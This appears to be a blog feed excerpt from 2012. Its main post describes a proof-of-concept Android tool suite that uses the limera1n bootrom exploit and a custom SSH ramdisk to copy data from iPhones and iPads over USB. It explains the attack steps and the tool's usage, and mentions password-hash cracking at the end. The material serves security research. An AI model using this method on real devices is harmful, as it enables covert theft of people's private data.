<p>This article is about the <a href="https://ironha1l.thireus.com/?ref=blog.thireus.com" title="ironha1l Tool Suite"><strong>ironha1l Tool Suite</strong></a> I have created. This article is&</p>]]></description><link>https://blog.thireus.com/smartphone-vs-smartphone-ownage-poc-android-ironha1l-spy-tool-suite-to-hackpwn-ios-devices/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b972</guid><category><![CDATA[aes_decrypt]]></category><category><![CDATA[AES-256]]></category><category><![CDATA[AndFTP]]></category><category><![CDATA[android]]></category><category><![CDATA[apple]]></category><category><![CDATA[bootrom]]></category><category><![CDATA[bruteforce]]></category><category><![CDATA[buffer overflow]]></category><category><![CDATA[Devicetree]]></category><category><![CDATA[DFOwn]]></category><category><![CDATA[DFU]]></category><category><![CDATA[Galaxy]]></category><category><![CDATA[google]]></category><category><![CDATA[hacking]]></category><category><![CDATA[iBEC]]></category><category><![CDATA[iBoot]]></category><category><![CDATA[iBSS]]></category><category><![CDATA[iDevice]]></category><category><![CDATA[ios]]></category><category><![CDATA[iPad]]></category><category><![CDATA[iPhone]]></category><category><![CDATA[iPod]]></category><category><![CDATA[iPod touch]]></category><category><![CDATA[iproxy]]></category><category><![CDATA[ipsw]]></category><category><![CDATA[ironha1]]></category><category><![CDATA[jailbreak]]></category><category><![CDATA[JAVA]]></category><category><![CDATA[kernel]]></category><category><![CDATA[KernelCache]]></category><category><![CDATA[libusb]]></category><category><![CDATA[limera1n]]></category><category><![CDATA[Linux]]></category><category><![CDATA[lsusb]]></category><category><![CDATA[MITM]]></category><category><![CDATA[MobileDevice]]></category><category><![CDATA[Nexus]]></category><category><![CDATA[OpenIBoot]]></category><category><![CDATA[passcode]]></category><category><![CDATA[payload]]></category><category><![CDATA[PoC]]></category><category><![CDATA[proxy]]></category><category><![CDATA[Ramdisk]]></category><category><![CDATA[redsn0w]]></category><category><![CDATA[restoration]]></category><category><![CDATA[Samsung]]></category><category><![CDATA[SecureROM]]></category><category><![CDATA[SFTP]]></category><category><![CDATA[spy]]></category><category><![CDATA[SpyPhone]]></category><category><![CDATA[ssh]]></category><category><![CDATA[USB]]></category><category><![CDATA[USB host]]></category><category><![CDATA[usbmuxd]]></category><category><![CDATA[Userland]]></category><category><![CDATA[wireshark]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Wed, 26 Sep 2012 17:36:12 GMT</pubDate><media:content url="https://blog.thireus.com/content/images/2019/10/smartphone-vs-smartphone-ownage-poc-the-android-ironha1l-spy-tool-suite-to-hackpwn-ios-devices.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<img src="https://blog.thireus.com/content/images/2019/10/smartphone-vs-smartphone-ownage-poc-the-android-ironha1l-spy-tool-suite-to-hackpwn-ios-devices.png" alt="Smartphone vs Smartphone Ownage PoC - Android ironha1l Spy Tool Suite to Hack/Pwn iOS Devices"><p>Android and iOS devices are today a prime target for hackers, and for a good reason, two of the main factors of the perfect attack are combined while exceeding any of the attacker&apos;s expectations.</p>
</blockquote>
<p>This article is about the <a href="https://ironha1l.thireus.com/?ref=blog.thireus.com" title="ironha1l Tool Suite"><strong>ironha1l Tool Suite</strong></a> I have created. This article is&#xA0;intended&#xA0;to provide an understandable explanation about the problematic I faced during my research to develop ironha1l. You will also find in this article a lot of relevant information if you are a jailbreak beginner. Most of the information here are part of my own research but also comes from external sources. I tried to remain as reliable as possible. Feel free to comment my work!</p>
<p><span style="text-decoration: underline;"><span style="color: #008000; text-decoration: underline;">Updates:</span></span>&#xA0;<span style="color: #808080;">(subscribe to my&#xA0;<a href="https://blog.thireus.com/twitter" title="Twitter"><span style="color: #808080;">twitter</span></a>&#xA0;to get notified)</span></p>
<ul>
<li>10/10/2012 &#x2013; ironha1l sources available!</li>
</ul>
<h4 id="whyattackingsmartphoneswithsmartphones">Why attacking smartphones with smartphones?</h4>
<p>The primary factor is the quality and relevance of the information available on <strong>iOS</strong> and <strong>Android</strong> devices. Smartphones like the iPhone and the Galaxy SIII&#xA0;to name but a few, have been created to assist a large majority of our daily activities. Consequently, they contain a huge amount of data about our life and habits such as address book, pictures, emails, text messages, GPS location data history and much more. We can also find web browser history and all cache, credentials and data of third party applications such as online banking applications.</p>
<p>The second factor is accessibility, and even more so, the huge amount of attack vectors. These operating systems are mainly used in mobile phone devices and provide many access points for potential attacks. First of all, the mobile aspect of these devices can be used for data injections via the <strong>baseband</strong>, meaning injections via 3G/Edge/GSM protocols with text messages and voice calls. And even further, some attacks can be made on SIM cards, for example spoofing adapters are mainly used today for <strong>unlocking</strong>. More wireless access points such as WiFi, Bluetooth, IrDa, NFC constitute a large part of the vector attack panel and can be used to remote access the targeted device. Finally, some last attack vectors such as USB, serial port, SD card reader, audio port, touchscreen and camera provide to the attacker some physical and potentially vulnerable access points.</p>
<p><a href="https://www.youtube.com/watch?v=JTOsiGXnILU&amp;ref=blog.thireus.com">https://www.youtube.com/watch?v=JTOsiGXnILU</a></p>
<h4 id="aboutthepocscenarioanditslimitations">About the PoC scenario and its limitations</h4>
<p><img src="https://blog.thireus.com/img/Android_Robber_Thireus-120x139.png" alt="Smartphone vs Smartphone Ownage PoC - Android ironha1l Spy Tool Suite to Hack/Pwn iOS Devices" title="Android Robber Thireus" loading="lazy"></p>
<p>The main idea I had about a smartphone security related scenario was to show the two aspects described in this foreword. The revolutionary aspect of these mobile operating systems in term of functionality versus their incredible weakness in term of security. Therefore, the attacker is equipped with an Android 4.0 (Ice Cream Sandwich) smartphone in the aim to access sensitive data of an iOS <strong>unjailbroken</strong> device such as iPhone 3GS/4, iPod Touch 3G/4G or iPad according to the <strong>limera1n</strong> exploit limitations. The iOS version does not matter here, as the limera1n exploit does not depend of the operating system version running on the device. The attacker has only one constraint, which is to use the USB port of both devices to inject data and proceed to the data theft from&#xA0;Android. The aim of the attacker is to get the maximum amount of sensitive data available on the iOS device, such as pictures, emails, contacts, etc. The attack must be fast and discreet (a few minutes), and must be cancellable at any time. The use of an Android smartphone as been preferred for these reasons, due to its discretion, offensive functionalities and performances.</p>
<p>In this article, the term <strong>iDevice</strong> is used to refer to any iOS devices vulnerable to the limera1n exploit.</p>
<h4 id="bypassingiossecurity">Bypassing&#xA0;iOS security</h4>
<p><em>Before going further it is important to enumerate some of the main security features available on iOS. The same goes for the architecture security features, particularly the boot process and partitioning system.</em></p>
<h6 id="iospartitioningsystemanditsbiggestsecurityfeature">iOS partitioning system and its biggest security feature</h6>
<p>All iDevices have the particularity to contains a 8GB to 64GB flash memory split in two distinct partitions. The first one in read only contains the operating system iOS while the other one is dedicated to user data and have read and write permissions. The data partition contains user documents, applications, pictures, and other various user files. This flash memory is hardware encrypted using an AES-256&#xA0;crypto-processor&#xA0;soldered on the iDevice motherboard right on the path between flash memory and RAM. Meaning that anything that comes from the flash memory to go in RAM is decrypted and anything that comes from RAM to go in the flash memory is encrypted. Nothing can transit without being encrypted/decrypted by the crypto-processor, thus you cannot manually extract the flash memory and read data from it, because everything is encrypted with AES-256.</p>
<p><img src="https://blog.thireus.com/img/ios-diagram-architecture-260x427.png" alt="Smartphone vs Smartphone Ownage PoC - Android ironha1l Spy Tool Suite to Hack/Pwn iOS Devices" title="iOS diagram architecture" loading="lazy"></p>
<p>UID (Unique ID) and GID (Group ID) are two keys soldered inside the crypto-processor and used to encrypt or decrypt. These keys are only accessible by the crypto-processor itself, they cannot be software requested or dumped (hypothetically a covert channel attack could do the trick). The UID key is unique for any iDevice and is not registered in Apple Databases (but we do not have proof for that), the GID key is the same for iDevices of the same class, meaning for example that any iPhone 3GS will have &#xA0;the same GID key but each one will have a unique UID key. On top of that, these keys can be combined in addition to the passcode key (derived from the user passcode to unlock the iDevice) or any other external key, which creates various protection classes.</p>
<p>These protection classes are then used to encrypt some user data on top of the already hardware encrypted flash memory. Thus, if you successfully access the data partition, some files will remain encrypted with either the passcode key or other external keys combined to the UID key, which is the case for emails for example. So once the iDevice is locked, files are&#xA0;completely&#xA0;secured due to the missing passcode key. And&#xA0;brute-forcing&#xA0;the passcode key can only be achieved on the iDevice, because the decrypt function is called inside the crypto-processor which combine the given key with the UID key.</p>
<p>According to iOS Hacker&#x2019;s Handbook it takes about 18 minutes in the worst case scenario to bruteforce a 4 digits passcode (iOS default scheme), which is even worse if the user changes his passcode for a alphanumerical passcode (in that case it can take years to bruteforce). There are no time limitations in case you bruteforce the passcode directly by calling the decrypt function of the crypto-processor. But in the case you attempt to manually bruteforce the passcode directly from the iOS unlock screen you will face these limitations that exponentially increase when a wrong passcode is entered.</p>
<p>Fortunately for attackers, only a few amount of data files are encrypted using the&#xA0;passcode key. Most of the files remain unencrypted, and some protections I talked about here were implemented during the iOS development. Meaning that old iOS versions are less protected that the newest ones, unfortunately the ones I presented here are all integrated to iOS 5.</p>
<h6 id="variousexploitsbutonlyonegoal">Various exploits but only one goal</h6>
<p>There are three categories of exploits on iOS, each one refers to a particular boot module of iOS.</p>
<ul>
<li>Bootrom (also called SecureROM by Apple) Exploits</li>
<li>iBoot Exploits</li>
<li>Userland Exploits</li>
</ul>
<p><img src="https://blog.thireus.com/img/normal-boot-ios.png" alt="Smartphone vs Smartphone Ownage PoC - Android ironha1l Spy Tool Suite to Hack/Pwn iOS Devices" title="Normal Boot iOS" loading="lazy"></p>
<p><strong>Bootrom</strong> exploits are the most powerful, because the bootrom is the first piece of code executed on the iDevice boot process. This bootrom is read only and cannot be updated nor modified, it is soldered on the iDevice. Thus a bootrom vulnerability cannot be fixed by Apple on existing and already sold devices. Actually there are only one bootrom exploit, which is called <strong>limera1n</strong> and created by George Hotz. This bootrom vulnerability has not been patched by Apple until the next hardware revision with Apple A5 processors and upper (meaning iPhone 4S, iPad 2, etc.) only &#xA0;iPhone 3GS/4, iPod Touch 3G/4G and iPad are vulnerable. The limera1n exploit breaks the signature check for any elements of the boot process, meaning you can boot with an alternated or custom boot chain. In addition to that a bootrom exploit can be used to decrypt Apple GID encrypted files contained in IPSW archives (used to restore or upgrade iDevices). IPSW contains iOS and various GID encrypted data, that can be decrypted using with such an exploit by calling the crypto-processor function that uses the GID key. Attackers can then patch and alter these decrypted files for their own purpose, inject and boot with these files by the use of limera1n.</p>
<p><strong>iBoot</strong>&#xA0;is the boot process part that launches the iOS kernel. These kind of vulnerabilities can lead to an untethered Jailbreak. Finding a vulnerability at this level is as powerful as a bootrom vulnerability in term of functionalities. Unfortunately such a vulnerability can be quickly patched by Apple in a next iOS update. iBoot vulnerabilities are not used in ironha1l, but it is important to have in mind the entire boot process for the next part of this article.</p>
<p>Finally, <strong>userland</strong> vulnerabilities are at the top level of iOS at the same level of running iOS applications. Exploiting such a vulnerability is very hard, and only allows the attacker to access mobile (or root) privileges. But yet, the attacker needs first to get out of the sandboxed application where the vulnerability was exploited. I will not talk more about this kind of exploit here.</p>
<h6 id="dfumode">DFU mode</h6>
<p>The DFU mode (Device Firmware Update) is a special mode in which the device loads a specific code from the bootrom. This mode is also available in the Nintendo DS for example, and is not Apple property. This executed code allows the device to accept boot elements from the sync port of the iDevice (I prefer calling it the USB port). This DFU mode is mainly used when the device is software bricked, and even if the classic restore mode of the iDevice is broken. The DFU mode once detected by iTunes will receive boot elements from it. Those elements are from the IPSW archive, and are composed of iBSS, iBEC, DeviceTree, KernelCache and Ramdisk. The ramdisk file is a container which contains a very basic version of iOS only used to flash the device with a new iOS version sent by iTunes. This ramdisk is a very good basis for an attacker to access the iDevice partitions.</p>
<p><img src="https://blog.thireus.com/img/dfu-mode-ios.png" alt="Smartphone vs Smartphone Ownage PoC - Android ironha1l Spy Tool Suite to Hack/Pwn iOS Devices" title="DFU Mode iOS" loading="lazy"></p>
<p><em>To put your iDevice in DFU mode, you first need to connect it to a USB host device, to boot the iDevice while maintaining the HOME and POWER button pressed during 8 seconds, then release the POWER button only while maintaining the HOME button still pressed. After some seconds, the iDevice should be in DFU mode. This mode is visually indistinguishable, only the host device knows if the connected iDevice is in DFU mode as it receives a DFU notification.</em></p>
<p>In 2012, George Hotz publish his limera1n exploit which allows the use of unsigned boot elements on vulnerable iDevices. This vulnerability is a memory overflow in the bootrom. With such an exploit, jailbreakers are able to modify the iOS ramdisk used in DFU mode, for example by editing the <strong>/sbin/launchd</strong> binary which is used to launch other binaries and scripts at boot, such as mounting partitions in read and write mode. This <strong>launchd</strong> binary will be used for example to execute sshd on our ramdisk.</p>
<h4 id="tumblingdowntherabbithole">Tumbling down the rabbit hole</h4>
<p>*&#xA0;This part is dedicated to the development and creation of the ironha1l and DFOwn tools. Those tools were created to inject and execute a custom ramdisk containing a SSH server on a&#xA0;targeted&#xA0;iDevice using an Android device.*</p>
<h6 id="usbreverse">USB reverse</h6>
<p>As previously described, what is interesting for us is to exploit the bootrom vulnerability with limera1n in order to inject a custom boot chain on the targeted iDevice. Actually, jailbreak software such as Redsn0w can do that, but our aim here is quite different as we intend to do it with an Android phone, and there are no such existing tools for this operating system.</p>
<p>We have two choices. The first one is to modify existing and open source jailbreak tools and port them for Android platform. The second choice is to create a totally new tool optimized for Android. Given the aim to have a mastered full tool suite, and because I had time to learn and I love challenges, I decided to give a try to the second alternative. Consequently, USB reverse engineering in DFU mode was required to establish how data is sent to the iDevice and what are the USB transfer modes, headers and commands used for all the steps of the boot chain.</p>
<p>It is first necessary to create an USB debug environment or as I like to call it, a Man In The Middle USB. There are several ways to do this, either you can directly reverse each element of the boot chain to understand how the following elements must be injected, or you can modify the Mac OS or Windows USB driver to activate the USB debug mode, you can also use a sniffer device between attached to your USB cable, or you can even directly use a Windows Virtual Machine on your Linux system. In this last case the use of Wireshark running on Linux will do the trick, as it can sniff USB communications, especially in our case the USB communications between iTunes running in the Windows VM with our attached USB iDevice. This last method is quite buggy, but allows us to see the USB communication protocol quite easily.</p>
<p>[![](<strong>GHOST_URL</strong>/img/capture-845x475<img src="https://blog.thireus.com/img/capture-845x475.png" alt="Smartphone vs Smartphone Ownage PoC - Android ironha1l Spy Tool Suite to Hack/Pwn iOS Devices" title="DFU Mode iPhone VM Windows VirtualBox" loading="lazy">om/img/dfu-mode-iphone-vm-windows-virtualbox.png)</p>
<p>The full description of the DFU mode is in the meantime available in the <a href="http://www.usb.org/developers/devclass_docs/usbdfu10.pdf?ref=blog.thireus.com" title="Universal Serial Bus Device Class Specification for Device Firmware Upgrade">Universal Serial Bus Device Class Specification for Device Firmware Upgrade</a> publication. With the help of this documentation and various USB headers and requests sniffed with Wireshark, the exact iTunes behavior for data transfer in DFU mode has been established. It is important to note that all communications are in clear text, same apply for commands sent to the iDevice which are associated to each part of the boot process. Another observation, is that header values are specific to Apple and not documented.</p>
<h6 id="developmentoflibironha1landironha1l">Development of libironha1l and ironha1l</h6>
<p>The biggest step in this project was to create the ironha1l tool and its library libironha1l. This library provides functions to inject data to the iDevice in DFU mode and is strictly based on <a href="http://www.libusb.org/?ref=blog.thireus.com" title="libusb">libusb</a>. The principal advantage of this last point is the portability of libusb, and its compatibility with Android. ironha1l is the application that&#xA0;coordinates all the various injections of our custom boot chain, based on the DFU protocol reverse established previously. Meaning the injection of iBSS, iBEC, DeviceTree, KernelCache and Ramdisk modified files. These custom files can be extracted and automatically created using the <a href="https://code.google.com/p/iphone-dataprotection/?ref=blog.thireus.com" title="iPhone-dataprotection">iPhone-dataprotection</a> tool suite of Sogeti.</p>
<p>The development of ironha1l and libironha1l lasted 3 months and contains more than 1000 lines of code. ironha1l and libironha1l are written in C. The ironha1l tool also comes with the limera1n exploit and payload (sources available on the Jailbreak community Wiki).</p>
<p>During the development, a number of difficulties came to light. The first one and the most difficult was the ramdisk size. During the first attempts to inject a custom ramdisk it has been established that a ramdisk size higher than ~10 MB could not be executed on the iDevice, unfortunately a ramdisk containing a SSH server cannot handle such a limited size. The solution was in fact, to alter a bit in the control transfer header specific to the ramdisk. This solution was established after many days by testing ramdom and various header values. Unfortunately it is still unknown why does this bit value bypass the size limitation.</p>
<p>Two more issues, this time related to limera1n, came to light during the libironha1l development. The first one is that limera1n consists of two elements, the source code and the payload. The limera1n payload is unfortunately not documented and is not open source, but it is easily extractable from Jailbreak tools such as <a href="http://blog.iphone-dev.org/tagged/redsn0w?ref=blog.thireus.com" title="RedSn0w">RedSn0w</a>. To extract this payload you need to apply the same reverse process as describer in the USB reverse part of this article. Meaning using Redsn0w in a Windows Virtual Machine on your Linux platform and dump all USB transmissions with Wireshark in Man In The Middle. Once the payload dumped, it has been tested and once again came another problem.</p>
<p>The limera1n exploit is based on the principal <strong>buffer overflow</strong>&#xA0;vulnerability of the bootrom, but unfortunately a USB control command must be sent to the iDevice during the injection process of the payload, so that the payload can be executed. If the control command reaches the iDevice too late, the payload is not executed. Le biggest problem is that generally the USB commands cannot overlap with one another with libusb, and this it is not possible to send the specific USB control command without interrupting the previous injection. The trick and the solution is to play with reception timeouts (acknowledgment&#xA0;replies), the payload is sent to the iDevice with a big timeout and due to its big size the iDevice will take a certain amount of time to deal with it. During this short amount of time (1 to 10 milliseconds), the control command that executes the payload must be sent, this time with a timeout lower than 10 milliseconds to match the iDevice process timing (ideally 1 millisecond).</p>
<p><span style="text-decoration: underline;">Here is the prototype of ironha1l:</span></p>
<pre><code>usage: ./ironha1l -h (help)
    [-v verbose_level{0,1,2,3}] [-d libusb_debug_level{0,1,2,3}]
    [-l limera1n_file] [-i iBSS_file] [-b iBEC_file]
    [-t DeviceTree_file] [-r Ramdisk_file] [-k KernelCache_file]
    [-c iBSS_command]
    [-z idBus]
</code></pre>
<p>Once our tool working and injecting correctly all elements of our customized boot chain, the iDevice boots on our ramdisk containing a SSH server. Meanwhile, on the client side we need to find a way to connect to this SSH server via USB. Fortunately this task is not a real big deal. The <strong>MobileDevice</strong> framework of Apple (included in iTunes for Windows) contains a daemon called&#xA0;<strong>usbmuxd</strong>. This daemon is&#xA0;typically&#xA0;what we need as it creates a TCP tunnel over USB to communicate with the iDevice services (in our case the ssh server). Of course, the&#xA0;<strong>usbmuxd</strong>&#xA0;used by Apple is not open source, but a bunch of great&#xA0;developers&#xA0;have created a usbmuxd version open source that comes with <strong>iproxy</strong>&#xA0;which is used for port forwarding. So combining usbmuxd with iproxy creates a local port that communicate through USB directly with the SSH socket in listening mode on the iDevice. It was not a big deal to port usbmuxd and iproxy for Android, as these tools are working under Linux. It should also be noted that this open source project is not maintained by Apple, thus each time a new device comes out usbmuxd must be updated by&#xA0;developers and apparently this is not an easy task. In our case our&#xA0;targeted&#xA0;iDevices are all working and supported by the latest version of usbmuxd.</p>
<p>The application portability is a very important aspect, it has been decided to directly integrate libusb and usbmuxd in ironha1l. Before compiling, a script downloads, patches and configures the latest libusb and usbmuxd version. The ironha1l tool suite is compatible with Linux, UNIX, BSD, Mac OS and Android.</p>
<h6 id="androidportandguiapplicationdfown">Android port and GUI application DFOwn</h6>
<p>Since the ICS version, Android supports <strong>USB host</strong>, which allows to connect to the USB port a USB device such as USB storage, mouse, etc. using a micro USB to USB host adaptor.</p>
<p>[![](<strong>GHOST_URL</strong>/img/Screenshot_2000<img src="https://blog.thireus.com/img/Screenshot_2000-01-01-00-42-16-311x553.png" alt="Smartphone vs Smartphone Ownage PoC - Android ironha1l Spy Tool Suite to Hack/Pwn iOS Devices" title="DFOwn injection mode" loading="lazy">om/img/dfown-injection-mode.png) [![](<strong>GHOST_URL</strong>/img/Screenshot_2000<img src="https://blog.thireus.com/img/Screenshot_2000-01-01-00-43-01-331x553.png" alt="Smartphone vs Smartphone Ownage PoC - Android ironha1l Spy Tool Suite to Hack/Pwn iOS Devices" title="DFOwn injection OK" loading="lazy">om/img/dfown-injection-ok.png)</p>
<p>The first thing to do with Android was to root the OS, which is the easiest hacking task ever. The second step was to make sure DFU mode is well detected by Android. For this task either we can use <strong>lsusb</strong> ported on Android using Android SDK, or we can also use the <strong>devices</strong> tool contained in the ironha1l tool suite. The USB enumeration has been made on two devices, a SAMSUNG Galaxy SII and a SAMSUNG Galaxy Nexus, both under Android 4.0.3. It appeared that the Galaxy SII could not detect any iDevice in DFU mode (other modes were successfully detected). Even after multiple testings using different USB devices, even with a self-powered USB HUB the problem was still there and was not identified. Fortunately the Galaxy Nexus was working perfectly well under Android 4.0.3. Thus for the next part of the development this smartphone was used.</p>
<p><strong>Android</strong> is a <strong>Linux</strong> based operating system, the compilation of ironha1l tool suite with Android SDK was almost instantaneous. There was only some very basic problems such as the creation of specific Makefiles for Android. The ironha1l binaries were thus sent to the Galaxy Nexus device to be used later with the JAVA GUI application&#xA0;DFOwn. The tools ironha1l, usbmuxd and iproxy have been manually tested and were working perfectly well. The custom boot chain was injected and the Android device can communicate with the SSH server of the Android loaded ramdisk. The iDevice partitions were accessible after mounting in read and/or write, it is thus possible to alter or download files from them directly from our Android smartphone. As described previously, some files such as email database are encrypted and cannot be decrypted without knowing the iDevice passcode, which is not the case for pictures and movies for example, or text message database and contact database.</p>
<p>[![](<strong>GHOST_URL</strong>/img/Screenshot_2000<img src="https://blog.thireus.com/img/Screenshot_2000-01-01-00-41-15-187x332.png" alt="Smartphone vs Smartphone Ownage PoC - Android ironha1l Spy Tool Suite to Hack/Pwn iOS Devices" title="DFOwn Injection Process Settings" loading="lazy">om/img/dfown-injection-process-settings.png) [![](<strong>GHOST_URL</strong>/img/Screenshot_2000<img src="https://blog.thireus.com/img/Screenshot_2000-01-01-00-41-38-187x332.png" alt="Smartphone vs Smartphone Ownage PoC - Android ironha1l Spy Tool Suite to Hack/Pwn iOS Devices" title="DFOwn More Settings" loading="lazy">om/img/dfown-more-settings.png) [![](<strong>GHOST_URL</strong>/img/Screenshot_2012<img src="https://blog.thireus.com/img/Screenshot_2012-08-30-15-20-57-187x332.png" alt="Smartphone vs Smartphone Ownage PoC - Android ironha1l Spy Tool Suite to Hack/Pwn iOS Devices" title="DFOwn SFTP Settings" loading="lazy">om/img/dfown-sftp-settings.png) [![](<strong>GHOST_URL</strong>/img/Screenshot_2012<img src="https://blog.thireus.com/img/Screenshot_2012-08-30-15-23-47-187x332.png" alt="Smartphone vs Smartphone Ownage PoC - Android ironha1l Spy Tool Suite to Hack/Pwn iOS Devices" title="AndFTP stealing AddressBook.sqlitedb from iPhone 4" loading="lazy">om/img/andftp-stealing-addressbook-sqlitedb-from-iphone-4.png)</p>
<p>The <strong>DFOwn</strong>&#xA0;JAVA application was created to provide a easy and fast way to use ironha1l and pwn (understand limera1n exploit + custom boot chain injection) the attached iDevice in DFU mode. DFOwn does not currently integrate a SFTP client which thus require the user to use its own SFTP client such as <a href="https://play.google.com/store/apps/details?id=lysesoft.andftp&amp;hl=fr&amp;ref=blog.thireus.com" title="AndFTP Play Store">AndFTP</a> to access the iDevice data.</p>
<h4 id="conclusion">Conclusion</h4>
<p>DFOwn and ironha1l are Proof of Concept applications, their goal is to prove an attacker can gain access to your iDevice smartphone files easily with minimal hardware such as an Android smartphone. DFOwn takes about 1 minute to complete the ironha1l boot process on an iDevice. The application is fast, quiet and easy to use. Transfers can go up to 1.5 Mo/s depending of the iDevice and Android device used, which allows the attacker to get a large amount of files very quickly.</p>
<p>Sources Available <a href="https://gitlab.thireus.com/Thireus/ironha1l?ref=blog.thireus.com" title="ironha1l Tool Suite sources">HERE</a>!</p>
<h4 id="references">References</h4>
<ul>
<li><a href="http://images.apple.com/ipad/business/docs/iOS_Security_May12.pdf?ref=blog.thireus.com" title="iOS Security, publication par Apple">http://images.apple.com/ipad/business/docs/iOS_Security_May12.pdf</a> &#x2013; iOS Security, Apple</li>
<li><a href="https://code.google.com/p/iphone-dataprotection?ref=blog.thireus.com" title="iPhone-dataprotection Sogeti ESEC">https://code.google.com/p/iphone-dataprotection</a>&#xA0;&#x2013; iPhone-dataprotection Sogeti ESEC</li>
<li><a href="http://theiphonewiki.com/wiki/index.php?title=Grabbing_IMG3_Keys&amp;ref=blog.thireus.com" title="Jailbreak Community Wiki, Grabbing IMG3 Keys">http://theiphonewiki.com/wiki/index.php?title=Grabbing_IMG3_Keys</a> &#x2013; Jailbreak Community Wiki, Grabbing IMG3 Keys</li>
<li><a href="http://theiphonewiki.com/wiki/index.php?title=Let%27s_Get_Them_IMG3_Keys_%2F_IVs&amp;ref=blog.thireus.com" title="Jailbreak Community Wiki, Let&apos;s Get Them IMG3 Keys / IVs">http://theiphonewiki.com/wiki/index.php?title=Let%27s_Get_Them_IMG3_Keys_/_IVs</a> &#x2013; Jailbreak Community Wiki, Let&#x2019;s Get Them IMG3 Keys / IVs</li>
<li><a href="https://github.com/planetbeing/iphonelinux?ref=blog.thireus.com" title="iphonelinux, open source project of planetbeing (Yiduo David Wang)">https://github.com/planetbeing/iphonelinux</a> &#x2013; iphonelinux,&#xA0;open source project of planetbeing (Yiduo David Wang)</li>
<li><a href="http://theiphonewiki.com/wiki/index.php?title=Baker_8B117_%28iPhone_4%29&amp;ref=blog.thireus.com" title="iPhone 4 AES keys, Baker 8B117 (iPhone 4)">http://theiphonewiki.com/wiki/index.php?title=Baker_8B117_(iPhone_4)</a> &#x2013; iPhone 4 AES&#xA0;keys, Baker 8B117 (iPhone 4)</li>
<li><a href="http://theiphonewiki.com/wiki/index.php?title=GID-key&amp;ref=blog.thireus.com" title="Jailbreak Community Wiki, GID-key">http://theiphonewiki.com/wiki/index.php?title=GID-key</a> &#x2013; Jailbreak Community Wiki, GID-key</li>
<li><a href="http://www.usb.org/developers/devclass_docs/usbdfu10.pdf?ref=blog.thireus.com" title="Universal Serial Bus Device Class Specification for Device Firmware Upgrade">http://www.usb.org/developers/devclass_docs/usbdfu10.pdf</a> &#x2013; Universal Serial Bus Device Class Specification for Device Firmware Upgrade</li>
<li><a href="http://theiphonewiki.com/wiki/index.php?title=Limera1n_Exploit&amp;ref=blog.thireus.com" title="limera1n exploit source code by George Hotz">http://theiphonewiki.com/wiki/index.php?title=Limera1n_Exploit</a> &#x2013; limera1n exploit source code by George Hotz</li>
<li><a href="http://cgit.sukimashita.com/usbmuxd.git?ref=blog.thireus.com" title="usbmuxd Linux source code">http://cgit.sukimashita.com/usbmuxd.git</a>&#xA0;&#x2013; usbmuxd Linux source code</li>
<li><a href="http://android.serverbox.ch/?p=151&amp;ref=blog.thireus.com" title="Porting Libusb for Android on the Beagleboard in 5 steps">http://android.serverbox.ch/?p=151</a> &#x2013; Porting Libusb for Android on the Beagleboard in 5 steps</li>
<li><a href="http://news.softpedia.com/newsImage/Clean-iPhones-Also-Vulnerable-to-Attacks-Developer-Shows-2.jpg?ref=blog.thireus.com" title="SpyPhone application by Nicolas SERIOT">http://news.softpedia.com/newsImage/Clean-iPhones-Also-Vulnerable-to-Attacks-Developer-Shows-2.jpg</a> &#x2013; SpyPhone application by&#xA0;Nicolas SERIOT</li>
<li><a href="http://www.lysesoft.com/products/andftp?ref=blog.thireus.com" title="AndFTP, a FTP, SFTP, SCP, FTPS client for Android devices">http://www.lysesoft.com/products/andftp</a> &#x2013; AndFTP, a FTP, SFTP, SCP, FTPS client for Android devices</li>
<li>Book &#x2013; iOS Hacker&#x2019;s Handbook by Charlie Miller, Dion Blazakis, Dino Dai Zovi, Stefan Esser, Vincenzo Iozzo, Ralf-Phillip Weinmann</li>
<li><a href="https://media.blackhat.com/bh-us-11/Esser/BH_US_11_Esser_Exploiting_The_iOS_Kernel_Slides.pdf?ref=blog.thireus.com" title="iOS Kernel Exploitation, by Stefan Esser">https://media.blackhat.com/bh-us-11/Esser/BH_US_11_Esser_Exploiting_The_iOS_Kernel_Slides.pdf</a> &#x2013; iOS Kernel Exploitation, by Stefan Esser</li>
<li><a href="http://antid0te.com/CSW2012_StefanEsser_iOS5_An_Exploitation_Nightmare_FINAL.pdf?ref=blog.thireus.com" title="iOS 5 An Exploitation Nightmare?, by Stefan Esser">http://antid0te.com/CSW2012_StefanEsser_iOS5_An_Exploitation_Nightmare_FINAL.pdf</a> &#x2013; iOS 5 An Exploitation Nightmare?, by Stefan Esser</li>
</ul>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/smartphone-vs-smartphone-ownage-poc-android-ironha1l-spy-tool-suite-to-hackpwn-ios-devices" title="limera1n">limera1n</a></li>
<li><a href="https://blog.thireus.com/smartphone-vs-smartphone-ownage-poc-android-ironha1l-spy-tool-suite-to-hackpwn-ios-devices" title="usbmuxd windows">usbmuxd windows</a></li>
<li><a href="https://blog.thireus.com/smartphone-vs-smartphone-ownage-poc-android-ironha1l-spy-tool-suite-to-hackpwn-ios-devices" title="custom inject">custom inject</a></li>
<li><a href="https://blog.thireus.com/smartphone-vs-smartphone-ownage-poc-android-ironha1l-spy-tool-suite-to-hackpwn-ios-devices" title="openiBoot">openiBoot</a></li>
<li><a href="https://blog.thireus.com/smartphone-vs-smartphone-ownage-poc-android-ironha1l-spy-tool-suite-to-hackpwn-ios-devices" title="android libusb">android libusb</a></li>
<li><a href="https://blog.thireus.com/smartphone-vs-smartphone-ownage-poc-android-ironha1l-spy-tool-suite-to-hackpwn-ios-devices" title="ironha1l">ironha1l</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Cracking Story - How I Cracked Over 122 Million SHA1 and MD5 Hashed Passwords]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>This is the story about how I cracked 122 million<span style="color: #ff0000;"><a href="#CLEANED" title="Jump to the explanation of this big number!"><span style="color: #ff0000;">*</span></a></span> password hashes with John the Ripper and oclHashcat-plus.</p>
</blockquote>
<p><span style="color: #888888;">Author: m3g9tr0n, Copy Editor: Thireus.</span></p>
